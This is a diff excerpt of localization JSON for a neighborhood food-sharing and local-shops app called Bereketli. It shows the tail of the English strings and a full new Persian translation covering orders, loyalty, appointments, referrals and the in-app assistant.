"statusConfirmed": "Confirmed",
|
||||||
|
"statusCompleted": "Completed",
|
||||||
|
"statusCancelled": "Cancelled",
|
||||||
|
"statusNoShow": "No Show",
|
||||||
|
"cancelTitle": "Cancel Appointment",
|
||||||
|
"cancelMessage": "Are you sure you want to cancel this appointment?",
|
||||||
|
"cancelConfirm": "Cancel",
|
||||||
|
"cancelFailed": "Could not cancel appointment.",
|
||||||
|
"durationMin": "{{min}} min",
|
||||||
|
"emptyTitle": "No appointments yet",
|
||||||
|
"emptyText": "Book an appointment with a barber or tailor from the Local Shops tab",
|
||||||
|
"days": {
|
||||||
|
"sunday": "Sunday",
|
||||||
|
"monday": "Monday",
|
||||||
|
"tuesday": "Tuesday",
|
||||||
|
"wednesday": "Wednesday",
|
||||||
|
"thursday": "Thursday",
|
||||||
|
"friday": "Friday",
|
||||||
|
"saturday": "Saturday"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"loyalty": {
|
||||||
|
"title": "My Loyalty Cards",
|
||||||
|
"stampUnit": "stamps",
|
||||||
|
"pointUnit": "points",
|
||||||
|
"visitUnit": "visits",
|
||||||
|
"redeemButton": "Redeem",
|
||||||
|
"notReady": "Not ready yet",
|
||||||
|
"notReadyMsg": "Complete {{progress}} to claim your reward.",
|
||||||
|
"redeemTitle": "Redeem Reward",
|
||||||
|
"redeemMessage": "{{reward}}\n\nDo you want to redeem your reward?",
|
||||||
|
"redeemSuccess": "Congratulations!",
|
||||||
|
"redeemSuccessMsg": "Your reward has been redeemed.",
|
||||||
|
"redeemFailed": "Could not redeem reward",
|
||||||
|
"lastVisit": "Last visit: {{date}}",
|
||||||
|
"emptyTitle": "No loyalty cards yet",
|
||||||
|
"emptyText": "Collect points by shopping at local merchants",
|
||||||
|
"exploreMerchants": "Explore Shops"
|
||||||
|
},
|
||||||
|
"chat": {
|
||||||
|
"title": "Bereketli AI",
|
||||||
|
"placeholder": "Type your message...",
|
||||||
|
"greeting": "Hello! I'm the Bereketli assistant. How can I help you?",
|
||||||
|
"typing": "typing...",
|
||||||
|
"error": "Could not get a response, please try again",
|
||||||
|
"suggestPackages": "Packages near me",
|
||||||
|
"suggestFood": "What can I eat?",
|
||||||
|
"suggestStore": "Suggest a store",
|
||||||
|
"suggestHez": "What is HEZ Coin?",
|
||||||
|
"listening": "Listening...",
|
||||||
|
"voiceError": "Speech recognition failed, please try again",
|
||||||
|
"holdToTalk": "Hold to talk"
|
||||||
|
},
|
||||||
|
"referral": {
|
||||||
|
"title": "Invite & Earn",
|
||||||
|
"totalPoints": "Total Points",
|
||||||
|
"pointsUnit": "points",
|
||||||
|
"inviteLabel": "Invites",
|
||||||
|
"completedLabel": "Completed",
|
||||||
|
"earnedLabel": "Earned",
|
||||||
|
"codeTitle": "Your Invite Code",
|
||||||
|
"copy": "Copy",
|
||||||
|
"copied": "Copied",
|
||||||
|
"copiedMsg": "Your invite code: {{code}}",
|
||||||
|
"whatsappShare": "Share via WhatsApp",
|
||||||
|
"share": "Share",
|
||||||
|
"shareText": "Join Bereketli, let's earn together! My invite code: {{code}}\nhttps://bereketli.pezkiwi.app/davet/{{code}}",
|
||||||
|
"howItWorks": "How It Works",
|
||||||
|
"step1Title": "Your friend signs up",
|
||||||
|
"step1Desc": "Earn {{points}}+ points",
|
||||||
|
"step2Title": "Places first order",
|
||||||
|
"step2Desc": "Earn 100 points",
|
||||||
|
"step3Title": "The more you invite",
|
||||||
|
"step3Desc": "The more points you earn!",
|
||||||
|
"usePoints": "Use Your Points",
|
||||||
|
"usePoints1Title": "Package discounts",
|
||||||
|
"usePoints1Desc": "Offers set by stores",
|
||||||
|
"usePoints2Title": "Convert to HEZ Coin",
|
||||||
|
"usePoints2Desc": "Coming soon",
|
||||||
|
"historyTitle": "Invite History",
|
||||||
|
"historyEmpty": "No invites yet",
|
||||||
|
"historyEmptyText": "Share your code and start earning points"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,467 @@
|
|||||||
|
{
|
||||||
|
"common": {
|
||||||
|
"loading": "در حال بارگذاری...",
|
||||||
|
"error": "خطا",
|
||||||
|
"retry": "تلاش مجدد",
|
||||||
|
"cancel": "لغو",
|
||||||
|
"ok": "باشه",
|
||||||
|
"save": "ذخیره",
|
||||||
|
"delete": "حذف",
|
||||||
|
"back": "بازگشت",
|
||||||
|
"next": "بعدی",
|
||||||
|
"close": "بستن",
|
||||||
|
"search": "جستجو",
|
||||||
|
"noResults": "نتیجهای یافت نشد",
|
||||||
|
"pullToRefresh": "برای بروزرسانی بکشید",
|
||||||
|
"or": "یا",
|
||||||
|
"confirm": "تایید",
|
||||||
|
"all": "همه",
|
||||||
|
"distance": "فاصله",
|
||||||
|
"goBack": "برگرد",
|
||||||
|
"saving": "در حال ذخیره...",
|
||||||
|
"info": "اطلاعات"
|
||||||
|
},
|
||||||
|
"tabs": {
|
||||||
|
"paketler": "بستهها",
|
||||||
|
"komsu": "همسایه",
|
||||||
|
"esnaf": "فروشگاهها",
|
||||||
|
"hesabim": "حساب من"
|
||||||
|
},
|
||||||
|
"auth": {
|
||||||
|
"subtitle": "اپلیکیشن محله شما",
|
||||||
|
"emailOrPhone": "ایمیل یا تلفن",
|
||||||
|
"emailPlaceholder": "example@email.com یا 05xx...",
|
||||||
|
"password": "رمز عبور",
|
||||||
|
"passwordPlaceholder": "رمز عبور شما",
|
||||||
|
"loggingIn": "در حال ورود...",
|
||||||
|
"login": "ورود",
|
||||||
|
"googleLogin": "ورود با گوگل",
|
||||||
|
"noAccount": "حساب کاربری ندارید؟",
|
||||||
|
"registerLink": "ثبتنام کنید",
|
||||||
|
"loginErrorTitle": "خطا",
|
||||||
|
"loginErrorRequired": "ایمیل/تلفن و رمز عبور الزامی هستند",
|
||||||
|
"googleTokenError": "دریافت توکن گوگل ناموفق بود",
|
||||||
|
"googlePlayError": "سرویسهای گوگل پلی در دسترس نیست",
|
||||||
|
"googleLoginFailed": "ورود با گوگل ناموفق بود",
|
||||||
|
"registerTitle": "ثبتنام",
|
||||||
|
"registerSubtitle": "به برکتلی خوش آمدید",
|
||||||
|
"fullName": "نام و نام خانوادگی",
|
||||||
|
"fullNamePlaceholder": "نام کامل شما",
|
||||||
|
"email": "ایمیل",
|
||||||
|
"emailOnlyPlaceholder": "example@email.com",
|
||||||
|
"phoneOptional": "تلفن (اختیاری)",
|
||||||
|
"phonePlaceholder": "05xx xxx xx xx",
|
||||||
|
"passwordLabel": "رمز عبور",
|
||||||
|
"passwordMinPlaceholder": "حداقل ۸ کاراکتر",
|
||||||
|
"confirmPassword": "تکرار رمز عبور",
|
||||||
|
"confirmPasswordPlaceholder": "رمز عبور را دوباره وارد کنید",
|
||||||
|
"referralCodeOptional": "کد دعوت (اختیاری)",
|
||||||
|
"referralCodePlaceholder": "اگر کد دعوت دارید وارد کنید",
|
||||||
|
"registering": "در حال ثبتنام...",
|
||||||
|
"register": "ثبتنام",
|
||||||
|
"haveAccount": "قبلا حساب دارید؟",
|
||||||
|
"loginLink": "وارد شوید",
|
||||||
|
"registerErrorRequired": "نام، ایمیل و رمز عبور الزامی هستند",
|
||||||
|
"registerErrorPasswordMin": "رمز عبور باید حداقل ۸ کاراکتر باشد",
|
||||||
|
"registerErrorPasswordMatch": "رمزهای عبور مطابقت ندارند"
|
||||||
|
},
|
||||||
|
"splash": {
|
||||||
|
"subtitle": "اپلیکیشن محله شما",
|
||||||
|
"tagline": "از هدر رفتن غذا جلوگیری کنید، برکت را به اشتراک بگذارید"
|
||||||
|
},
|
||||||
|
"onboarding": {
|
||||||
|
"slide1Title": "جلوگیری از هدر رفتن غذا",
|
||||||
|
"slide1Desc": "محصولات باکیفیت باقیمانده آخر روز فروشگاهها را با تخفیف بخرید. هم صرفهجویی کنید، هم کار خیر.",
|
||||||
|
"slide2Title": "محله خود را کشف کنید",
|
||||||
|
"slide2Desc": "نانوایی، میوهفروشی، قصابی، آرایشگاه و بیشتر را در نزدیکی خود پیدا کنید. امتیاز وفاداری جمع کنید، جایزه ببرید.",
|
||||||
|
"slide3Title": "شروع کنید",
|
||||||
|
"slide3Desc": "موقعیت خود را به اشتراک بگذارید، بستههای سورپرایز و فروشگاههای نزدیک را کشف کنید!",
|
||||||
|
"locationLabel": "موقعیت",
|
||||||
|
"locationDesc": "نمایش بستههای نزدیک",
|
||||||
|
"notificationLabel": "اعلانها",
|
||||||
|
"notificationDesc": "از فرصتها باخبر باشید",
|
||||||
|
"skip": "رد شو",
|
||||||
|
"next": "بعدی ←",
|
||||||
|
"start": "شروع",
|
||||||
|
"micLabel": "میکروفون",
|
||||||
|
"micDesc": "برای صحبت با دستیار هوشمند",
|
||||||
|
"cameraLabel": "دوربین",
|
||||||
|
"cameraDesc": "برای کد QR و عکس"
|
||||||
|
},
|
||||||
|
"locationPicker": {
|
||||||
|
"title": "انتخاب موقعیت",
|
||||||
|
"useMyLocation": "استفاده از موقعیت من",
|
||||||
|
"confirm": "تایید",
|
||||||
|
"permissionRequired": "مجوز موقعیت لازم است",
|
||||||
|
"permissionMessage": "لطفا مجوز موقعیت را از تنظیمات فعال کنید.",
|
||||||
|
"gpsError": "سیگنال GPS دریافت نشد",
|
||||||
|
"gpsErrorMessage": "در فضای باز دوباره تلاش کنید یا روی نقشه نقطهای انتخاب کنید."
|
||||||
|
},
|
||||||
|
"packages": {
|
||||||
|
"deliveryAddress": "آدرس تحویل",
|
||||||
|
"selectLocation": "انتخاب موقعیت",
|
||||||
|
"searchPlaceholder": "جستجوی بسته یا فروشگاه...",
|
||||||
|
"sortLabel": "مرتبسازی",
|
||||||
|
"sortDistance": "فاصله",
|
||||||
|
"sortPrice": "قیمت",
|
||||||
|
"sortRating": "امتیاز",
|
||||||
|
"delivery": "تحویل",
|
||||||
|
"discounted": "تخفیفدار",
|
||||||
|
"lastFew": "تعداد محدود",
|
||||||
|
"priceRange": "محدوده قیمت",
|
||||||
|
"referralBannerTitle": "دعوت کن و کسب کن",
|
||||||
|
"referralBannerDesc": "دوستت را بیاور، امتیاز کسب کن!",
|
||||||
|
"categoryAll": "همه",
|
||||||
|
"categoryBakery": "نانوایی",
|
||||||
|
"categoryRestaurant": "رستوران",
|
||||||
|
"categoryPastry": "شیرینیفروشی",
|
||||||
|
"categoryMarket": "سوپرمارکت",
|
||||||
|
"nearbyPackages": "بستههای نزدیک",
|
||||||
|
"categoryPackages": "بستههای {{category}}",
|
||||||
|
"packageCount": "{{count}} بسته",
|
||||||
|
"emptyTitle": "بستهای در نزدیکی شما نیست",
|
||||||
|
"emptyText": "فاصله را افزایش دهید یا \"همه\" را امتحان کنید",
|
||||||
|
"notificationPermission": "مجوز اعلان",
|
||||||
|
"notificationPermissionMsg": "باید اجازه اعلان بدهید. از تنظیمات میتوانید فعال کنید.",
|
||||||
|
"notificationsEnabled": "اعلانها فعال شد",
|
||||||
|
"notificationsEnabledMsg": "از بستهها و کمپینهای جدید باخبر خواهید شد!",
|
||||||
|
"notificationRegisterFailed": "ثبت اعلان ناموفق بود."
|
||||||
|
},
|
||||||
|
"packageDetail": {
|
||||||
|
"title": "جزئیات بسته",
|
||||||
|
"notFound": "بسته یافت نشد",
|
||||||
|
"loadError": "بارگذاری اطلاعات بسته ناموفق بود",
|
||||||
|
"description": "توضیحات",
|
||||||
|
"details": "جزئیات",
|
||||||
|
"priceLabel": "قیمت",
|
||||||
|
"pickupTime": "زمان تحویل",
|
||||||
|
"remaining": "موجودی باقیمانده",
|
||||||
|
"status": "وضعیت",
|
||||||
|
"statusActive": "فعال",
|
||||||
|
"statusSoldOut": "تمام شد",
|
||||||
|
"statusExpired": "منقضی شده",
|
||||||
|
"deliveryMethod": "روش تحویل",
|
||||||
|
"pickup": "حضوری",
|
||||||
|
"deliveryToAddress": "ارسال به آدرس",
|
||||||
|
"deliveryAddressPlaceholder": "آدرس تحویل خود را وارد کنید",
|
||||||
|
"deliveryAddressRequired": "لطفا آدرس تحویل را وارد کنید",
|
||||||
|
"total": "مجموع",
|
||||||
|
"purchasing": "در حال ثبت سفارش...",
|
||||||
|
"purchase": "خرید",
|
||||||
|
"orderCreated": "سفارش ثبت شد",
|
||||||
|
"orderCreatedMsg": "سفارش #{{orderId}}\nمجموع: {{price}} لیر\n\nدر حال انتقال به صفحه پرداخت.",
|
||||||
|
"viewOrder": "مشاهده سفارش",
|
||||||
|
"orderFailed": "ثبت سفارش ناموفق بود. دوباره تلاش کنید.",
|
||||||
|
"discount": "{{percent}}٪ تخفیف"
|
||||||
|
},
|
||||||
|
"orders": {
|
||||||
|
"title": "سفارشهای من",
|
||||||
|
"orderCount": "{{count}} سفارش",
|
||||||
|
"qrPickup": "تحویل QR",
|
||||||
|
"tabPackages": "بسته",
|
||||||
|
"tabMeals": "غذای همسایه",
|
||||||
|
"emptyPackagesTitle": "هنوز سفارش بستهای ندارید",
|
||||||
|
"emptyPackagesText": "از بخش بستهها اولین سفارش خود را ثبت کنید",
|
||||||
|
"emptyMealsTitle": "هنوز سفارش غذایی ندارید",
|
||||||
|
"emptyMealsText": "از بخش همسایه غذای خانگی سفارش دهید",
|
||||||
|
"statusPending": "در انتظار",
|
||||||
|
"statusPaid": "پرداخت شده",
|
||||||
|
"statusPickedUp": "تحویل گرفته شد",
|
||||||
|
"statusCancelled": "لغو شده",
|
||||||
|
"statusRefunded": "بازپرداخت شده",
|
||||||
|
"statusAccepted": "پذیرفته شده",
|
||||||
|
"statusRejected": "رد شده",
|
||||||
|
"statusCompleted": "تکمیل شده",
|
||||||
|
"mealOrderBadge": "غذای همسایه",
|
||||||
|
"portions": "{{count}} پرس"
|
||||||
|
},
|
||||||
|
"orderDetail": {
|
||||||
|
"backLabel": "بازگشت",
|
||||||
|
"notFound": "سفارش یافت نشد",
|
||||||
|
"loadError": "بارگذاری اطلاعات سفارش ناموفق بود",
|
||||||
|
"pickupCode": "کد تحویل",
|
||||||
|
"tokenLabel": "توکن",
|
||||||
|
"qrHint": "این کد QR را به کارمند فروشگاه نشان دهید",
|
||||||
|
"orderDetails": "جزئیات سفارش",
|
||||||
|
"orderNo": "شماره سفارش",
|
||||||
|
"quantity": "تعداد",
|
||||||
|
"unitPrice": "قیمت واحد",
|
||||||
|
"total": "مجموع",
|
||||||
|
"date": "تاریخ",
|
||||||
|
"paymentDate": "تاریخ پرداخت",
|
||||||
|
"pickupDate": "تاریخ تحویل",
|
||||||
|
"cancelDate": "تاریخ لغو",
|
||||||
|
"cancelling": "در حال لغو...",
|
||||||
|
"cancelOrder": "لغو سفارش",
|
||||||
|
"cancelTitle": "لغو سفارش",
|
||||||
|
"cancelMessage": "آیا مطمئنید که میخواهید این سفارش را لغو کنید؟",
|
||||||
|
"cancelConfirm": "لغو کن",
|
||||||
|
"cancelSuccess": "سفارش شما لغو شد",
|
||||||
|
"cancelFailed": "لغو سفارش ناموفق بود",
|
||||||
|
"reviewButton": "نظر بدهید",
|
||||||
|
"reviewTitle": "تجربه خود را امتیاز دهید",
|
||||||
|
"reviewPlaceholder": "نظر شما (اختیاری)",
|
||||||
|
"reviewSubmitting": "در حال ارسال...",
|
||||||
|
"reviewSubmit": "ارسال",
|
||||||
|
"reviewRatingRequired": "لطفا یک امتیاز انتخاب کنید",
|
||||||
|
"reviewSuccess": "نظر شما ثبت شد!",
|
||||||
|
"reviewSuccessTitle": "سپاس",
|
||||||
|
"reviewFailed": "ارسال نظر ناموفق بود",
|
||||||
|
"reviewDone": "نظر شما ثبت شد. سپاس!"
|
||||||
|
},
|
||||||
|
"mealOrderDetail": {
|
||||||
|
"qrHint": "این کد QR را به صاحب غذا نشان دهید",
|
||||||
|
"portionLabel": "پرس",
|
||||||
|
"orderDate": "تاریخ سفارش",
|
||||||
|
"acceptDate": "تاریخ پذیرش",
|
||||||
|
"deliveryDate": "تاریخ تحویل",
|
||||||
|
"cancelDate": "تاریخ لغو"
|
||||||
|
},
|
||||||
|
"qrScan": {
|
||||||
|
"title": "تحویل QR",
|
||||||
|
"verifying": "در حال تایید...",
|
||||||
|
"scanPrompt": "کد QR را اسکن کنید",
|
||||||
|
"instructions": "هنگام تحویل سفارش، کد QR فروشگاه را با دوربین خود اسکن کنید",
|
||||||
|
"successTitle": "تحویل گرفته شد!",
|
||||||
|
"successMessage": "سفارش #{{orderId}} با موفقیت تحویل گرفته شد.\n\nمجموع: {{price}} لیر",
|
||||||
|
"errorMessage": "تایید کد QR ناموفق بود. دوباره تلاش کنید.",
|
||||||
|
"retryButton": "تلاش مجدد"
|
||||||
|
},
|
||||||
|
"search": {
|
||||||
|
"placeholder": "جستجوی بسته، فروشگاه یا دستهبندی...",
|
||||||
|
"popularCategories": "دستهبندیهای محبوب",
|
||||||
|
"popularSearches": "جستجوهای محبوب",
|
||||||
|
"resultCount": "{{count}} نتیجه یافت شد",
|
||||||
|
"emptyTitle": "نتیجهای یافت نشد",
|
||||||
|
"emptyText": "عبارت جستجوی دیگری امتحان کنید"
|
||||||
|
},
|
||||||
|
"meals": {
|
||||||
|
"title": "غذاهای همسایه",
|
||||||
|
"subtitle": "خانگی، تازه، مطمئن",
|
||||||
|
"searchPlaceholder": "جستجوی غذا یا آشپز...",
|
||||||
|
"nearbyMeals": "غذاهای نزدیک",
|
||||||
|
"mealCount": "{{count}} غذا",
|
||||||
|
"pickup": "حضوری",
|
||||||
|
"delivery": "تحویل",
|
||||||
|
"pickupOrDelivery": "حضوری / تحویل",
|
||||||
|
"lastPortions": "آخرین {{count}}!",
|
||||||
|
"perPortion": "/ پرس",
|
||||||
|
"portionCount": "{{count}} پرس",
|
||||||
|
"emptyTitle": "غذای خانگی در نزدیکی شما نیست",
|
||||||
|
"emptyText": "فاصله را افزایش دهید یا بعدا دوباره بررسی کنید"
|
||||||
|
},
|
||||||
|
"mealDetail": {
|
||||||
|
"title": "جزئیات غذا",
|
||||||
|
"notFound": "غذا یافت نشد",
|
||||||
|
"defaultCook": "آشپز",
|
||||||
|
"priceLabel": "قیمت",
|
||||||
|
"pricePerPortion": "{{price}} لیر / پرس",
|
||||||
|
"availableUntil": "در دسترس",
|
||||||
|
"availableUntilValue": "تا {{time}}",
|
||||||
|
"remainingLabel": "باقیمانده",
|
||||||
|
"remainingValue": "{{remaining}} / {{total}} پرس",
|
||||||
|
"deliveryLabel": "تحویل",
|
||||||
|
"pickup": "حضوری",
|
||||||
|
"deliveryToAddress": "ارسال به آدرس",
|
||||||
|
"pickupOrDelivery": "حضوری / تحویل",
|
||||||
|
"portionLabel": "پرس",
|
||||||
|
"total": "مجموع",
|
||||||
|
"ordering": "در حال ثبت سفارش...",
|
||||||
|
"soldOut": "تمام شد",
|
||||||
|
"order": "سفارش بده",
|
||||||
|
"orderSuccess": "سفارش ثبت شد!",
|
||||||
|
"orderSuccessMsg": "سفارش #{{orderId}}\n{{portions}} پرس {{title}}\nمجموع: {{total}} لیر\n\nپس از تایید آشپز اطلاعرسانی خواهید شد.",
|
||||||
|
"orderFailed": "ثبت سفارش ناموفق بود."
|
||||||
|
},
|
||||||
|
"merchants": {
|
||||||
|
"title": "فروشگاههای محله",
|
||||||
|
"subtitle": "امتیاز جمع کنید، جایزه ببرید",
|
||||||
|
"searchPlaceholder": "جستجوی فروشگاه...",
|
||||||
|
"categoryAll": "همه",
|
||||||
|
"categoryBarber": "آرایشگاه",
|
||||||
|
"categoryCafe": "کافه",
|
||||||
|
"categoryButcher": "قصابی",
|
||||||
|
"categoryGreengrocer": "میوهفروشی",
|
||||||
|
"categoryBakery": "نانوایی",
|
||||||
|
"categoryPharmacy": "داروخانه",
|
||||||
|
"categoryTailor": "خیاطی",
|
||||||
|
"categoryOther": "سایر",
|
||||||
|
"nearbyMerchants": "فروشگاههای نزدیک",
|
||||||
|
"merchantCount": "{{count}} فروشگاه",
|
||||||
|
"proPlan": "فروشگاه پرو",
|
||||||
|
"businessPlan": "کسبوکار",
|
||||||
|
"emptyTitle": "فروشگاهی در نزدیکی شما یافت نشد",
|
||||||
|
"emptyText": "فاصله را افزایش دهید یا دستهبندی دیگری امتحان کنید"
|
||||||
|
},
|
||||||
|
"merchantDetail": {
|
||||||
|
"notFound": "فروشگاه یافت نشد",
|
||||||
|
"phoneNotRegistered": "شماره تلفن ثبت نشده است.",
|
||||||
|
"services": "خدمات",
|
||||||
|
"products": "محصولات",
|
||||||
|
"surprisePackages": "بستههای سورپرایز",
|
||||||
|
"buyButton": "خرید",
|
||||||
|
"loyaltyProgram": "برنامه وفاداری",
|
||||||
|
"loyaltyJoinHint": "در اولین بازدید خود بهطور خودکار عضو میشوید",
|
||||||
|
"contact": "تماس",
|
||||||
|
"callSuffix": "تماس بگیرید",
|
||||||
|
"appointmentTitle": "رزرو نوبت",
|
||||||
|
"appointmentTimes": "ساعات موجود فردا:",
|
||||||
|
"appointmentCreated": "نوبت رزرو شد!",
|
||||||
|
"appointmentCreatedMsg": "{{service}}\n{{date}} ساعت {{time}}\n\nپس از تایید فروشگاه اطلاعرسانی خواهید شد.",
|
||||||
|
"appointmentFailed": "رزرو نوبت ناموفق بود.",
|
||||||
|
"orderCreated": "سفارش ثبت شد!",
|
||||||
|
"orderFailed": "ثبت سفارش ناموفق بود",
|
||||||
|
"callAndOrder": "تماس و سفارش",
|
||||||
|
"closeButton": "بستن"
|
||||||
|
},
|
||||||
|
"profile": {
|
||||||
|
"title": "حساب من",
|
||||||
|
"defaultUser": "کاربر",
|
||||||
|
"editHint": "ویرایش",
|
||||||
|
"editNameTitle": "ویرایش نام",
|
||||||
|
"namePlaceholder": "نام شما",
|
||||||
|
"nameRequired": "نام نمیتواند خالی باشد",
|
||||||
|
"nameUpdateFailed": "بروزرسانی نام ناموفق بود",
|
||||||
|
"ordersLabel": "سفارشهای من",
|
||||||
|
"appointmentsLabel": "نوبتهای من",
|
||||||
|
"loyaltyLabel": "وفاداری",
|
||||||
|
"discoverLabel": "کشف کنید",
|
||||||
|
"surprisePackages": "بستههای سورپرایز",
|
||||||
|
"surprisePackagesDesc": "بستههای تخفیفدار نزدیک شما",
|
||||||
|
"neighborhoodMerchants": "فروشگاههای محله",
|
||||||
|
"neighborhoodMerchantsDesc": "امتیاز جمع کنید، جایزه ببرید",
|
||||||
|
"securityLabel": "امنیت",
|
||||||
|
"changePassword": "تغییر رمز عبور",
|
||||||
|
"supportLabel": "پشتیبانی",
|
||||||
|
"faq": "سوالات متداول",
|
||||||
|
"faqDesc": "۱۸ سوال متداول - پاسخهای واقعی",
|
||||||
|
"contactLabel": "تماس",
|
||||||
|
"contactEmail": "destek@bereketli.app",
|
||||||
|
"website": "وبسایت",
|
||||||
|
"websiteUrl": "bereketli.pezkiwi.app",
|
||||||
|
"version": "نسخه",
|
||||||
|
"logout": "خروج",
|
||||||
|
"logoutConfirm": "آیا مطمئنید که میخواهید خارج شوید؟",
|
||||||
|
"logoutCancel": "لغو",
|
||||||
|
"deleteAccount": "حذف حساب من",
|
||||||
|
"deleteAccountDesc": "این عملیات قابل بازگشت نیست",
|
||||||
|
"deleteAccountConfirm": "این عملیات قابل بازگشت نیست. حساب و تمام اطلاعات شما بهطور دائمی حذف خواهد شد.",
|
||||||
|
"deleteAccountButton": "حذف حساب من",
|
||||||
|
"deleteAccountFailed": "حذف حساب ناموفق بود. دوباره تلاش کنید.",
|
||||||
|
"language": "زبان",
|
||||||
|
"selectLanguage": "انتخاب زبان"
|
||||||
|
},
|
||||||
|
"changePassword": {
|
||||||
|
"title": "تغییر رمز عبور",
|
||||||
|
"subtitle": "برای امنیت، رمز عبور فعلی خود را وارد کنید",
|
||||||
|
"currentPassword": "رمز عبور فعلی",
|
||||||
|
"currentPasswordPlaceholder": "رمز عبور فعلی شما",
|
||||||
|
"newPassword": "رمز عبور جدید",
|
||||||
|
"newPasswordPlaceholder": "حداقل ۸ کاراکتر",
|
||||||
|
"confirmPassword": "تکرار رمز عبور جدید",
|
||||||
|
"confirmPasswordPlaceholder": "رمز عبور جدید را دوباره وارد کنید",
|
||||||
|
"changing": "در حال تغییر...",
|
||||||
|
"change": "تغییر رمز عبور",
|
||||||
|
"allFieldsRequired": "لطفا همه فیلدها را پر کنید",
|
||||||
|
"passwordMinLength": "رمز عبور جدید باید حداقل ۸ کاراکتر باشد",
|
||||||
|
"passwordMismatch": "رمزهای عبور جدید مطابقت ندارند",
|
||||||
|
"success": "رمز عبور شما تغییر کرد",
|
||||||
|
"successTitle": "موفقیت",
|
||||||
|
"failed": "تغییر رمز عبور ناموفق بود. رمز عبور فعلی خود را بررسی کنید."
|
||||||
|
},
|
||||||
|
"faq": {
|
||||||
|
"title": "سوالات متداول",
|
||||||
|
"categoryAll": "همه",
|
||||||
|
"categoryGenel": "عمومی",
|
||||||
|
"categoryCustomers": "مشتریان",
|
||||||
|
"categoryBusinesses": "کسبوکارها",
|
||||||
|
"categoryPayment": "پرداخت",
|
||||||
|
"empty": "هنوز سوال متداولی اضافه نشده"
|
||||||
|
},
|
||||||
|
"appointments": {
|
||||||
|
"title": "نوبتهای من",
|
||||||
|
"statusPending": "در انتظار",
|
||||||
|
"statusConfirmed": "تایید شده",
|
||||||
|
"statusCompleted": "تکمیل شده",
|
||||||
|
"statusCancelled": "لغو شده",
|
||||||
|
"statusNoShow": "حاضر نشد",
|
||||||
|
"cancelTitle": "لغو نوبت",
|
||||||
|
"cancelMessage": "آیا مطمئنید که میخواهید این نوبت را لغو کنید؟",
|
||||||
|
"cancelConfirm": "لغو کن",
|
||||||
|
"cancelFailed": "لغو نوبت ناموفق بود.",
|
||||||
|
"durationMin": "{{min}} دقیقه",
|
||||||
|
"emptyTitle": "هنوز نوبتی ندارید",
|
||||||
|
"emptyText": "از بخش فروشگاهها با آرایشگاه یا خیاطی نوبت بگیرید",
|
||||||
|
"days": {
|
||||||
|
"sunday": "یکشنبه",
|
||||||
|
"monday": "دوشنبه",
|
||||||
|
"tuesday": "سهشنبه",
|
||||||
|
"wednesday": "چهارشنبه",
|
||||||
|
"thursday": "پنجشنبه",
|
||||||
|
"friday": "جمعه",
|
||||||
|
"saturday": "شنبه"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"loyalty": {
|
||||||
|
"title": "کارتهای وفاداری من",
|
||||||
|
"stampUnit": "مهر",
|
||||||
|
"pointUnit": "امتیاز",
|
||||||
|
"visitUnit": "بازدید",
|
||||||
|
"redeemButton": "دریافت جایزه",
|
||||||
|
"notReady": "هنوز آماده نیست",
|
||||||
|
"notReadyMsg": "{{progress}} را تکمیل کنید تا جایزه خود را دریافت کنید.",
|
||||||
|
"redeemTitle": "دریافت جایزه",
|
||||||
|
"redeemMessage": "{{reward}}\n\nآیا میخواهید جایزه خود را دریافت کنید؟",
|
||||||
|
"redeemSuccess": "تبریک!",
|
||||||
|
"redeemSuccessMsg": "جایزه شما استفاده شد.",
|
||||||
|
"redeemFailed": "دریافت جایزه ناموفق بود",
|
||||||
|
"lastVisit": "آخرین بازدید: {{date}}",
|
||||||
|
"emptyTitle": "هنوز کارت وفاداری ندارید",
|
||||||
|
"emptyText": "با خرید از فروشگاههای محله امتیاز جمع کنید",
|
||||||
|
"exploreMerchants": "کشف فروشگاهها"
|
||||||
|
},
|
||||||
|
"chat": {
|
||||||
|
"title": "دستیار برکتلی",
|
||||||
|
"placeholder": "پیام خود را بنویسید...",
|
||||||
|
"greeting": "سلام! من دستیار برکتلی هستم. چگونه میتوانم کمکتان کنم؟",
|
||||||
|
"typing": "در حال نوشتن...",
|
||||||
|
"error": "پاسخی دریافت نشد، دوباره تلاش کنید",
|
||||||
|
"suggestPackages": "بستههای نزدیک من",
|
||||||
|
"suggestFood": "چه بخورم؟",
|
||||||
|
"suggestStore": "فروشگاهی پیشنهاد بده",
|
||||||
|
"suggestHez": "HEZ Coin چیست؟",
|
||||||
|
"listening": "در حال گوش دادن...",
|
||||||
|
"voiceError": "تشخیص صدا ناموفق بود، دوباره تلاش کنید",
|
||||||
|
"holdToTalk": "نگه دارید و صحبت کنید"
|
||||||
|
},
|
||||||
|
"referral": {
|
||||||
|
"title": "دعوت کن و کسب کن",
|
||||||
|
"totalPoints": "مجموع امتیاز شما",
|
||||||
|
"pointsUnit": "امتیاز",
|
||||||
|
"inviteLabel": "دعوتها",
|
||||||
|
"completedLabel": "تکمیلشده",
|
||||||
|
"earnedLabel": "کسبشده",
|
||||||
|
"codeTitle": "کد دعوت شما",
|
||||||
|
"copy": "کپی",
|
||||||
|
"copied": "کپی شد",
|
||||||
|
"copiedMsg": "کد دعوت شما: {{code}}",
|
||||||
|
"whatsappShare": "اشتراکگذاری در واتساپ",
|
||||||
|
"share": "اشتراکگذاری",
|
||||||
|
"shareText": "به برکتلی بپیوندید، با هم کسب کنیم! کد دعوت من: {{code}}\nhttps://bereketli.pezkiwi.app/davet/{{code}}",
|
||||||
|
"howItWorks": "چگونه کار میکند؟",
|
||||||
|
"step1Title": "دوست شما ثبتنام میکند",
|
||||||
|
"step1Desc": "{{points}}+ امتیاز کسب کنید",
|
||||||
|
"step2Title": "اولین سفارش را میدهد",
|
||||||
|
"step2Desc": "۱۰۰ امتیاز کسب کنید",
|
||||||
|
"step3Title": "هرچه بیشتر دعوت کنید",
|
||||||
|
"step3Desc": "بیشتر امتیاز کسب میکنید!",
|
||||||
|
"usePoints": "امتیازهای خود را استفاده کنید",
|
||||||
|
"usePoints1Title": "تخفیف در بستهها",
|
||||||
|
"usePoints1Desc": "پیشنهادات فروشگاهها",
|
||||||
|
"usePoints2Title": "تبدیل به HEZ Coin",
|
||||||
|
"usePoints2Desc": "به زودی",
|
||||||
|
"historyTitle": "تاریخچه دعوتها",
|
||||||
|
"historyEmpty": "هنوز دعوتی ندارید",
|
||||||
|
"historyEmptyText": "کد خود را به اشتراک بگذارید و شروع به کسب امتیاز کنید"
|
||||||
|
}
|
||||||
|
}
|
